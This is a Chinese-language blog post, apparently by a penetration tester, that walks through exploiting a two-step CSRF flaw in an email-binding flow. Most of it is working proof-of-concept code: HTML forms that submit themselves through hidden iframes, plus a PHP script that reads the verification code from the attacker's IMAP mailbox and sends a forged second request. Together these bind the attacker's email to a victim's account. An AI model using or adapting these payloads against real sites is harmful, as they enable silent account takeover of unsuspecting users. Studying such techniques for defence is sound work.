多步CSRF漏洞場(chǎng)景及其利用
CSRF的漏洞原理和利用方式這里就不多贅述了。平時(shí)大家討論的CSRF利用多是發(fā)送一次請(qǐng)求。比如CSRF刷粉絲,CSRF發(fā)微博。這里主要討論一個(gè)稍微復(fù)雜點(diǎn)的利用場(chǎng)景。
最近在做測(cè)試的時(shí)候遇到一個(gè)案例,用戶綁定郵箱的請(qǐng)求沒(méi)有防御CSRF。但是大家都知道綁定郵箱這個(gè)操作不是一步完成了。這次遇到的這個(gè)案例是這樣的。用戶發(fā)送一個(gè)申請(qǐng)綁定郵箱的請(qǐng)求,服務(wù)器給該郵箱發(fā)送一個(gè)驗(yàn)證碼,然后用戶在頁(yè)面中輸入驗(yàn)證碼完成綁定。
從上圖的路程中可以看出。按照常見(jiàn)的csrf的漏洞來(lái)說(shuō),這里是沒(méi)法利用的。因?yàn)榧词刮覀儌卧炝苏?qǐng)求,讓用戶發(fā)出了綁定申請(qǐng)的郵件,還需要用戶把這個(gè)驗(yàn)證碼在頁(yè)面上輸入才行。經(jīng)過(guò)更進(jìn)一步的分析發(fā)現(xiàn),圖中4這一步也是沒(méi)有防御CSRF的。也就是說(shuō)我們可以偽造兩次請(qǐng)求來(lái)實(shí)現(xiàn)CSRF綁定郵箱。這樣一個(gè)場(chǎng)景就是比較典型的多步CSRF。
有了思路就可以開(kāi)始寫(xiě)demo了。最初的想法:是不是用兩個(gè)表單就可以了呢。
- <html>
- <body>
- <form id="form1" method="POST" action=" https://www.example.com/first.aspx">
- <input type="hidden" name="test1" value="1">
- <input type="submit" value="form1">
- </form>
- <form id="form2" method="POST" action=" https://www.example.com/second.aspx">
- <input type="hidden" name="test2" value="2">
- <input type="submit" value="form2">
- </form>
- <script>
- document.getElementById("form1").submit();
- window.setTimeout( function () { document.forms.form2.submit()}, 12000);
- </script>
- </body>
- </html>
測(cè)試發(fā)現(xiàn)這想法太天真了。***個(gè)表單提交之后,就會(huì)跳轉(zhuǎn)到返回的結(jié)果頁(yè)面了。第二個(gè)表單不會(huì)提交了。而且這里遇到的這個(gè)場(chǎng)景比較特殊,并不是僅僅是先后提交兩個(gè)表單就可以了。第二個(gè)表單里的值(驗(yàn)證碼)是需要***個(gè)表單提交之后,從郵箱里讀出來(lái)再放到第二個(gè)表單里。經(jīng)過(guò)查找資料。找到幾個(gè)解決方案。
解決方案1:
使用form的target屬性。target 屬性規(guī)定在何處打開(kāi) action URL。
根據(jù)查到的資料。默認(rèn)是_self。所以會(huì)跳到結(jié)果頁(yè)。我們使用_blank試試。
- <html>
- <body>
- <form id="form1" method="POST" target=';_blank' action=" https://www.example.com/first.aspx">
- <input type="hidden" name="test1" value="1">
- <input type="submit" value="form1">
- </form>
- <form id="form2" method="POST" target='_blank' action=" https://www.example.com/second.aspx">
- <input type="hidden" name="test2" value="2">
- <input type="submit" value="form2">
- </form>
- <script>
- document.getElementById("form1").submit();
- window.setTimeout( function () { document.forms.form2.submit()}, 12000);
- </script>
- </body>
- </html>
這種方式可以實(shí)現(xiàn)兩次post的需求,不過(guò)太過(guò)暴力。需要新彈出窗口不說(shuō)。彈出窗口也很可能被瀏覽器攔截掉。
解決方案2:
target可以選擇一個(gè)frame。framename 在指定的框架中打開(kāi)。所以可以這樣寫(xiě)。這樣子可以比較優(yōu)雅的發(fā)兩個(gè)post請(qǐng)求。
- <html>
- <body>
- <form id="form1" method="POST" target='csrfIframe1' action="https://www.baidu.com/first.aspx">
- <input type="hidden" name="test1" value="1">
- <input type="submit" value="form1">
- </form>
- <form id="form2" method="POST" target='csrfIframe2' action="https://www.baidu.com/second.aspx">
- <input type="hidden" name="test2" value="2">
- <input type="submit" value="form2">
- </form>
- window.onload = function() {
- document.getElementById("form1").submit();
- // to make 2nd form wait for 1st, put the following in a function and use as a callback for a new timer
- document.getElementById("form2").submit();
- }
- </script>
- <iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe1"></iframe>
- <iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe2"></iframe>
- </body> </html>
解決方案3:
使用iframe自然也是可以的。類(lèi)似
- <iframe src="2post3.html" width="0" height="0">
- </iframe>
- <iframe src="2post4.html" width="0" height="0">
- </iframe>
##具體到郵箱驗(yàn)證這個(gè)場(chǎng)景我使用了如下的一個(gè)poc。因?yàn)樾枰洁]箱中獲取驗(yàn)證碼。所以使用了兩個(gè)文件。
文件1:發(fā)送申請(qǐng)郵箱綁定的請(qǐng)求:
- <html>
- <body>
- <!-- hidden iframes -->
- <iframe style="display: hidden" height="100" width="100" frameborder="0" name="csrfIframe1"></iframe>
- <form id="form1" action="http://xxxxxxxxxxx/security" method="POST" target="csrfIframe1">
- <input type="hidden" name="email" value="郵箱@qq.com" />
- </form>
- <script>
- document.getElementById("form1").submit();
- </script>
- <iframe style="display: hidden" height="100" width="100" frameborder="0" name="csrfIframe22" src="http://localhost/test/mail.php"></iframe>
- </body>
- </html>
文件2:iframe的文件需要去郵箱獲取驗(yàn)證碼拼到表單里。
- <?php
- $mail = 'mail@qq.com';
- $mailPass = 'pass';
- sleep(2);//等待郵件發(fā)送
- //以騰訊企業(yè)郵箱做了測(cè)試
- $mailServer="imap.qq.com"; //IMAP主機(jī)
- $mailLink="{{$mailServer}:993/ssl}INBOX" ;
- $mailUser = $mail; //郵箱用戶名
- $mbox = imap_open($mailLink,$mailUser,$mailPass) or die("can't connect: " . imap_last_error()); //開(kāi)啟信箱imap_open
- $totalrows = imap_num_msg($mbox);
- // echo $totalrows;//取得信件數(shù)
- $numcode = '';
- $mailBody = imap_fetchbody($mbox, $totalrows, 1); //獲取***的一封郵件
- $mailBody = base64_decode($mailBody);
- preg_match('/\d{6}/',$mailBody,$res);//匹配驗(yàn)證碼
- $numcode = $res[0];
- echo $numcode;
- $form2 = '<html>
- <body>
- <form id="form2" action="http:xxxxxx" method="POST" target="csrfIframe2">
- <input type="hidden" name="captchacode" value="'.$numcode.'" />
- <input type="hidden" name="email" value="'.$mail.'" />
- </form>
- <script>
- document.getElementById("form2").submit();</script>
- </body>
- </html>';
- echo $form2;
如有雷同純屬巧合。參考資料:
http://blog.opensecurityresearch.com/2014/05/multi-stagedmulti-form-csrf.html
http://ceriksen.com/2012/09/29/two-stage-csrf-attacks/